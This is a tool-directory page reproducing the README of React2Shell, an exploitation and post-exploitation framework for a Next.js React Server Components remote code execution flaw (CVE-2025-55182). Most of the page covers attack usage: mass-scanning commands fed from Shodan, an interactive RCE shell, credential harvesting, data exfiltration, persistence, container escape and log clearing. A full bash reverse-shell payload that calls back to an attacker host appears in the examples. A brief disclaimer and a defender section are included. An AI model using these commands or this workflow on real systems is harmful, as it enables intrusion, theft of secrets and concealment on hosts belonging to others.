Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
React2Shell — R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more. | Kitploit
Tools/GitHubGitHub/4nuxd/react2shell
Penetration Testing FrameworksPrivilege EscalationExploit FrameworksPersistence MechanismsLateral MovementWeb Application ExploitationData ExfiltrationPost-ExploitationCommand and ControlContainer Escape
GitHub
439 months agoNot yet reviewed
4nuxd/react2shell

React2Shell

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.

Share

🚀 R2S - Next.js RSC Exploit Framework

Version Python License CVE

Advanced Post-Exploitation Framework for Next.js React Server Components RCE

Features • Installation • Usage • Commands • Examples

📋 Overview

R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.

🎯 Key Capabilities

  • ✅ Automated vulnerability scanning - Mass scan multiple targets
  • ✅ Interactive RCE shell - Stateful command execution with directory navigation
  • ✅ HTTP-based file transfer - Upload/download files without base64 limitations
  • ✅ Reverse shell automation - Try 25+ different reverse shell payloads
  • ✅ Advanced enumeration - System, network, container, and cloud metadata
  • ✅ Privilege escalation - Automated privesc vector detection
  • ✅ Credential harvesting - Extract passwords, keys, tokens, and secrets
  • ✅ Persistence mechanisms - Maintain access across reboots
  • ✅ Lateral movement - Discover and pivot to other hosts
  • ✅ Container escape - Check for Docker/Kubernetes breakout vectors
  • ✅ Data exfiltration - Extract sensitive files and configurations
  • ✅ Stealth operations - Clear logs and hide tracks

    • 🔥 Features

    🌐 Core Exploitation

    • Mass scanning with multi-threading support
    • Pipeline mode for integration with other tools
    • Automatic vulnerability detection for Next.js RSC
    • Stateful interactive shell with persistent working directory

    📁 File Operations

    • HTTP-based upload - Transfer files to target via wget/curl
    • HTTP-based download - Exfiltrate files via POST requests
    • No size limitations - Works with large files (unlike base64 methods)
    • Automatic HTTP server - Starts/stops as needed

    🔍 Reconnaissance & Enumeration

    • System enumeration - OS, kernel, users, processes
    • Network discovery - Interfaces, routes, ARP, DNS, listening ports
    • Container detection - Docker, Kubernetes, LXC identification
    • Cloud metadata - AWS, GCP, Azure credential extraction
    • Process memory dumping - Extract secrets from running processes
    • Interesting file discovery - SUID, writable dirs, backups, configs

    🔐 Credential Harvesting

    • Environment variables (passwords, API keys, tokens)
    • .env files and configuration files
    • SSH private keys and authorized_keys
    • Bash history with sensitive commands
    • Database files (SQLite, MySQL dumps)
    • Cloud credentials (AWS, Azure, GCP)
    • Git credentials and NPM tokens
    • Browser data (cookies, login data)
    • Docker and Kubernetes secrets

    ⬆️ Privilege Escalation

    • SUID/SGID binaries detection
    • Sudo permissions enumeration
    • Writable system files (/etc/passwd, /etc/shadow)
    • Docker socket access checks
    • Linux capabilities analysis
    • Kernel exploit suggestions
    • Cron job enumeration
    • PATH hijacking opportunities

    🔄 Post-Exploitation

    • Persistence mechanisms - Cron jobs, .bashrc, systemd services
    • Advanced persistence - LD_PRELOAD, systemd timers
    • Port scanning - Internal network reconnaissance
    • Lateral movement - SSH key discovery, known_hosts analysis
    • Container escape - Privileged container checks, capability analysis
    • Data exfiltration - Automated sensitive data collection
    • Reverse shell automation - 25+ payload types with auto-retry

    🥷 Stealth & Evasion

    • Log clearing - Bash history, auth logs, syslog
    • Track covering - wtmp, lastlog cleanup
    • Session management - Save and resume sessions

    🛠️ Installation

    Prerequisites

    root@kitploit:~
    # Python 3.6 or higher
python3 --version

# Install dependencies
pip3 install requests urllib3

    Quick Start

    root@kitploit:~
    # Clone or download the tool
cd r2s-main

# Make executable (optional)
chmod +x r2s_enhanced.py

# Run the tool
python3 r2s_enhanced.py -h

    🚀 Usage

    Basic Syntax

    root@kitploit:~
    python3 r2s_enhanced.py [OPTIONS]

    Command-Line Options

    OptionDescriptionDefault
    -u, --urlSingle target URL-
    -l, --listFile containing list of URLs-
    -c, --cmdInitial command to executeid
    -t, --threadsNumber of scanning threads30
    -p, --proxyHTTP proxy (e.g., http://127.0.0.1:8080)-
    -v, --verboseEnable verbose outputFalse
    --http-portHTTP server port for file transfer8000

    Input Methods

    1. Single Target

    root@kitploit:~
    python3 r2s_enhanced.py -u http://target.com

    2. Multiple Targets (File)

    root@kitploit:~
    python3 r2s_enhanced.py -l targets.txt -t 50

    3. Pipeline Mode (stdin)

    root@kitploit:~
    cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

    💻 Interactive Shell Commands

    Once you gain RCE access, you'll enter an interactive shell with these commands:

    📂 File Transfer

    root@kitploit:~
    upload <local_file> <remote_path>    # Upload file to target
download <remote_file> <local_path>  # Download file from target

    🧭 Navigation

    root@kitploit:~
    cd <directory>                       # Change working directory
pwd                                  # Print working directory

    🔍 Enumeration

    root@kitploit:~
    enum                                 # Complete system enumeration
privesc                              # Privilege escalation checks
harvest                              # Credential harvesting
portscan <ip>                        # Scan internal network ports
memdump [pid]                        # Dump process memory for secrets

    🎯 Post-Exploitation

    root@kitploit:~
    lateral                              # Lateral movement opportunities
escape                               # Container escape vectors
exfil [type]                         # Exfiltrate data (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # Try multiple reverse shell payloads

    🔒 Persistence

    root@kitploit:~
    persist                              # Add basic persistence
advpersist                           # Add advanced persistence

    🥷 Stealth

    root@kitploit:~
    stealth                              # Clear logs and hide tracks

    💾 Session Management

    root@kitploit:~
    save                                 # Save current session
help, ?                              # Show help message
exit, quit                           # Exit interactive shell

    🖥️ System Commands

    Execute any shell command directly:

    root@kitploit:~
    whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

    📚 Examples

    Example 1: Basic Exploitation

    root@kitploit:~
    $ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id

[VULN] http://vulnerable-app.com >>> RCE SUCCESS
       Output: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP server started on 192.168.1.100:8000

next-rce:/app$

    Example 2: System Enumeration

    root@kitploit:~
    next-rce:/app$ enum

[*] Starting automated enumeration...

============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]

...

    Example 3: File Transfer

    root@kitploit:~
    # Upload a file
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# Download a file
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
    Saved to: ./passwd.txt

    Example 4: Credential Harvesting

    root@kitploit:~
    next-rce:/app$ harvest

[*] Harvesting credentials...

[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local

[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

    Example 5: Reverse Shell

    root@kitploit:~
    next-rce:/app$ reverse 192.168.1.100 4444

[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444

[*] Trying 25 different reverse shell payloads...

[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y

[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

    Example 6: Mass Scanning

    root@kitploit:~
    $ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] Loaded 3 targets. Starting scan with 50 threads...

[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS

[*] Scan completed.

    Example 7: Privilege Escalation Check

    root@kitploit:~
    next-rce:/app$ privesc

[*] Checking privilege escalation vectors...

[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Sudo Permissions:
User node may run the following commands:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Docker Group:
In docker group - EXPLOITABLE!

...

    Example 8: Container Escape

    root@kitploit:~
    next-rce:/app$ escape

[*] Checking container escape vectors...

[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6

[*] Privileged Container:
PRIVILEGED

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]

...

    🔧 Advanced Features

    Reverse Shell Payloads

    The tool includes 25+ reverse shell payloads across multiple languages and techniques:

    • Bash (TCP, UDP, exec variants)
    • Netcat (traditional, mkfifo, OpenBSD)
    • Python/Python3 (socket, pty)
    • Perl (multiple variants)
    • PHP (exec, system, passthru)
    • Ruby (socket variants)
    • Node.js (child_process, socket)
    • Socat, Telnet, AWK
    • Golang, OpenSSL

    Cloud Metadata Extraction

    Automatically detects and extracts credentials from:

    • AWS - IAM roles, security credentials
    • GCP - Service account tokens
    • Azure - Instance metadata
    • Environment variables with cloud credentials

    Container Detection

    Identifies and analyzes:

    • Docker containers
    • Kubernetes pods
    • LXC containers
    • Privileged vs unprivileged
    • Available escape vectors

    ⚠️ Legal Disclaimer

    FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY

    This tool is provided for educational purposes and authorized penetration testing only. Usage of this tool for attacking targets without prior mutual consent is illegal. The author is not responsible for any misuse or damage caused by this tool.

    Requirements for legal use:

    • ✅ Written authorization from the target owner
    • ✅ Defined scope and rules of engagement
    • ✅ Professional penetration testing engagement
    • ❌ Unauthorized access to systems
    • ❌ Malicious intent or damage

    🛡️ Detection & Defense

    For Defenders

    Detection:

    • Monitor for unusual Next-Action headers
    • Look for multipart/form-data POST requests to non-existent endpoints
    • Check for base64-encoded command output in error responses
    • Monitor for child_process.execSync in Next.js logs

    Mitigation:

    • Update Next.js to the latest patched version
    • Implement Web Application Firewall (WAF) rules
    • Restrict server-side code execution
    • Monitor and log all RSC requests
    • Implement proper input validation

    📊 Version History

    v4.1.0 (Current) - Enhanced Edition

    • ✅ Added reverse shell automation (25+ payloads)
    • ✅ Added memory dumping capabilities
    • ✅ Added lateral movement discovery
    • ✅ Added container escape checks
    • ✅ Added data exfiltration automation
    • ✅ Added advanced persistence mechanisms
    • ✅ Improved HTTP file transfer
    • ✅ Enhanced enumeration features
    • ✅ Better error handling and UX

    v4.0.0 - Post-Exploitation Framework

    • ✅ HTTP-based file transfer
    • ✅ Persistence mechanisms
    • ✅ Port scanner
    • ✅ Privilege escalation checks
    • ✅ Network enumeration
    • ✅ Credential harvesting
    • ✅ Session management
    • ✅ Automated enumeration
    • ✅ Stealth features

    v3.0.0 - Interactive Shell

    • Stateful shell with directory navigation
    • Basic file transfer (base64)
    • Improved error handling

    🤝 Contributing

    Contributions are welcome! Please ensure all contributions are for educational and defensive security purposes.

    👨‍💻 Author

    G4rxd

    🙏 Credits

    • CVE-2025-55182 Discovery Team
    • Next.js Security Research Community
    • Open Source Security Tools Community

    📄 License

    This project is licensed for educational and authorized testing purposes only.

    ⚡ Happy Ethical Hacking! ⚡

    Remember: With great power comes great responsibility.

    Download Tool